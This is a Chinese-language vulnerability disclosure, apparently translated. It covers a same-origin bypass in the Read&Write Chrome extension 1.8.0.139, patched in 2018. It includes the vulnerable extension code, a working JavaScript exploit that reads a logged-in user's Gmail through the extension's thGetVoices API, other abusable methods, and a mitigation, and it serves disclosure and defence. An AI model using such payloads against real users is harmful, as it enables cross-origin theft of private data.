本文讲述的是作者发现谷歌浏览器Chrome阅读辅助插件(Read&Write Chrome extension)1.8.0.139版本同源策略(SOP)绕过漏洞的过程。该漏洞在于Read&Write插件缺少对正常交互网页请求源的安全检查,导致任意网页都可以调用Read&Write插件的后台特权页面API来执行多种存在风险的操作。由于该版本插件的在线下载使用量较大,在漏洞上报前估计有八百万用户受到影响。
漏洞介绍
比如,利用名为 “thGetVoices”方法的后台API调用方式,可以用插件执行一个任意URL链接的检索,并用postMessage方式来进行响应通信。通过这种方式的API恶意调用,攻击者可以劫持Read&Write插件去读取一些恶意且未经验证的会话数据。
作为验证,作者在文末制作了一个漏洞利用PoC视频,在安装了存在该漏洞的Read&Write插件之后,在进行应用操作时,可以利用漏洞远程读取到用户的Gmail邮箱地址信息。在漏洞上报之后,Read&Write插件开发方Texthelp公司迅速修复了漏洞,并于第二天释出了更新补丁。目前,新版本的Read&Write插件已不存在该漏洞。
漏洞分析
Chrome的Read&Write插件利用名为“inject.js”的Google浏览器内置脚本(Content Script)来向诸如Google Docs在内的各种在线文档页面插入一个自定义工具栏,以方便读者用户可以利用该插件进行文档读写。默认情况下,此脚本将会向所有HTTP和HTTPS源执行插入,插件的使用说明中已定义了这一点:
...trimmed for brevity...
"content_scripts": [
{
"matches": [ "https://*/*", "http://*/*" ],
"js": [ "inject.js" ],
"run_at": "document_idle",
"all_frames": true
}
],
...trimmed for brevity...
在 “inject.js” 脚本文件中,存在一个事件监听函数addEventListener,任何被插入 “inject.js” 脚本文件的交互网页,如果以“postMessage”方式向插件发送响应消息,都能被该函数捕获到:
window.addEventListener("message", this.onMessage)
这个addEventListener函数还会调用另一个名为“this.onMessage”的函数,该函数用于处理任意发往页面窗口的postMessage消息:
function onMessage() {
void 0 != event.source && void 0 != event.data && event.source == window && "1757FROM_PAGERW4G" == event.data.type && ("connect" == event.data.command ? chrome.extension.sendRequest(event.data, onRequest) : "ejectBar" == event.data.command ? ejectBar() : "th-closeBar" == event.data.command ? chrome.storage.sync.set({
enabledRW4GC: !1
}) : chrome.extension.sendRequest(event.data, function(e) {
window.postMessage(e, "*")
}))
}
postMessage() 方法:window.postMessage() 方法可以安全地实现跨源通信。通常,对于两个不同页面的脚本需要具备同源策略才能通信。window.postMessage() 方法被调用时,会在所有页面脚本执行完毕之后(e.g., 在该方法之后设置的事件、之前设置的timeout 事件,etc.)向目标窗口派发一个 MessageEvent 消息。 该MessageEvent消息有四个属性需要注意: message 属性表示该message 的类型; data 属性为 window.postMessage 的第一个参数;origin 属性表示调用window.postMessage() 方法时调用页面的当前状态; source 属性记录调用 window.postMessage() 方法的窗口信息。
在上述代码中,可以看到onMessage()会把所有接收到的postMessage消息通过“chrome.extension.sendRequest”方法发送到Read&Write插件的后台页面。另外,对这些消息的响应将传递回onMessage()函数,然后再通过其传递回Web页面中去。这个过程,实际上就在正常的Web访问页面和Read&Write插件后面之间形成了一个代理机制。
从Read&Write插件的使用说明中,可以发现Read&Write插件中存在很多后台页面:
...trimmed for brevity...
"background": {
"scripts": [
"assets/google-analytics-bundle.js",
"assets/moment.js",
"assets/thFamily3.js",
"assets/thHashing.js",
"assets/identity.js",
"assets/socketmanager.js",
"assets/thFunctionManager.js",
"assets/equatio-latex-extractor.js",
"assets/background.js",
"assets/xmlIncludes/linq.js",
"assets/xmlIncludes/jszip.js",
"assets/xmlIncludes/jszip-load.js",
"assets/xmlIncludes/jszip-deflate.js",
"assets/xmlIncludes/jszip-inflate.js",
"assets/xmlIncludes/ltxml.js",
"assets/xmlIncludes/ltxml-extensions.js",
"assets/xmlIncludes/testxml.js"
]
},
...trimmed for brevity...
虽然存在以上这么多后台页面进行消息侦听和函数调用,我们选取其中一个可漏洞利用的即可,我们就来看看页面 “background.js”吧:
...trimmed for brevity...
chrome.extension.onRequest.addListener(function(e, t, o) {
...trimmed for brevity...
if ("thGetVoices" === e.method && "1757FROM_PAGERW4G" == e.type) {
if (g_voices.length > 0 && "true" !== e.payload.refresh) return void o({
method: "thGetVoices",
type: "1757FROM_BGRW4G",
payload: {
response: g_voices
}
});
var c = new XMLHttpRequest;
c.open("GET", e.payload.url, !0), c.onreadystatechange = function() {
4 == this.readyState && 200 == this.status && (g_voices = this.responseText.toString(), o({
method: "thGetVoices",
type: "1757FROM_BGRW4G",
payload: {
response: g_voices
}
}))
}, c.send()
}
...trimmed for brevity...
上述代码显示,“chrome.extension.onRequest” .addListener监听器被触发时,其内部的“method” 参数会被设置成“thGetVoices”,“type”参数则被设置为“1757FROM_PAGERW4G”。如果这个触发事件中的“payload.refresh”参数为“true” ,则其中的XMLHTTPRequest会被请求响应为代号为200的状态码。
漏洞利用
利用上述方式的恶意调用,我们能向Read&Write插件的后台页面发送一个带有任意URL链接的消息,该消息最终会通过HTTP方式进行响应,这样,我们就能通过这种方式读取用户cookie信息,从而也可利用任意网页加载Payload去窃取其它不同Web源中的用户内容。以下就是一个跨域的信息窃取Payload:
function exploit_get(input_url) {
return new Promise(function(resolve, reject) {
var delete_callback = false;
var event_listener_callback = function(event) {
if ("data" in event && event.data.payload.response) {
window.removeEventListener("message", event_listener_callback, false);
resolve(event.data.payload.response);
}
};
window.addEventListener("message", event_listener_callback, false);
window.postMessage({
type: "1757FROM_PAGERW4G",
"method": "thGetVoices",
"payload": {
"refresh": "true",
"url": input_url
}
}, "*");
});
}
setTimeout(function() {
exploit_get("https://mail.google.com/mail/u/0/h/").then(function(response_body) {
alert("Gmail emails have been stolen!");
alert(response_body);
});
}, 1000);
上述Payload代码显示,可以利用该漏洞去读取跨域响应信息。这种情况下,我们用Gmail的 “Simple HTML”服务 来作示例。整个的漏洞利用方法就比较简单直接了:把上面这个Payload代码托管在任意网站上,安装了存在该漏洞的Read&Write插件用户,只要登录进入Gmail邮箱,我就可以用上述Payload来读取到用户的相关Gmail邮箱内信息。整个过程是通过之前我们说明的,以恰当的Payload设置形成postMessage消息,并结合消息响应的事件监听方式来实现的。由于Read&Write插件会向所有HTTP和HTTPS的Web页面执行应用插入,所以,在 JavaScript Promises 异步编程方式下,可以通过“exploit_get()”函数能窃取到用户经过认证的任意访问过的页面数据信息(这里假设无需特殊Header标头,能通过HTTP GET方式进行访问的页面)
Promise :是异步编程的一种解决方案,比传统的解决方案——回调函数和事件——更合理和更强大。所谓Promise,简单说就是一个容器,里面保存着某个未来才会结束的事件(通常是一个异步操作)的结果。从语法上说,Promise 是一个对象,从它可以获取异步操作的消息。Promise 提供统一的 API,各种异步操作都可以用同样的方法进行处理。目前,Promise 已获得 JavaScript 的原生支持,能很好兼容JavaScript编程应用。
虽然上面的示例引用了“thGetVoices”后台方法调用,但这只是这些后台页面API调用时出现的一种漏洞利用方式。除了使用这种调用之外,还存在其它一些可以利用的漏洞方法:
如攻击者还能利用 “thExtBGAjaxRequest” 方法,结合参数来执行“application/x-www-form-urlencoded;charset=UTF-8” 这类型任意的POST请求,并读取消息响应内容
还有,攻击者也能利用 “OpenTab”方法来打开大量网页标签来限制用户的Web页面访问
POC验证视频如下:
看不到?点这里
漏洞原因&缓解措施
该漏洞为一种常见浏览器插件安全隐患,谷歌的 Chrome 浏览器为了更方便地与插件API之间进行通信交互,插件在功能上就无形在自身后台服务和正常访问的Web页面之间形成了一条代理通道,主要原因在于很多 Chrome 插件开发者在开发阶段,缺乏对潜在敏感功能的调用请求源进行安全检查。这种情况下,一种理想的解决方法就是把大部份逻辑处理操作放到Content Script中去,不用postMessage方式调用,而由事件侦听函数按照API isTrusted属性的适当验证来进行触发。这样可以确保所有调用都是由用户操作触发的,而不是攻击者伪造的。
漏洞上报进程
2018.6.3晚 向Texthelp上报漏洞
2018.6.3晚 Texthelp确认漏洞 回应称修复工作将于下周周一开始
2018.6.4 Texthelp推出修复补丁
由于时区原因,时间上可能有些出入,Texthelp在爱尔兰的开发团队其实在6月2号就收到漏洞,然后在6月3号就修复了漏洞。只是补丁在6月4号释出,整个漏洞响应修复周期非常及时。
*参考来源:thehackerblog,FreeBuf 小编 clouds 编译,转载请注明来自 FreeBuf.COM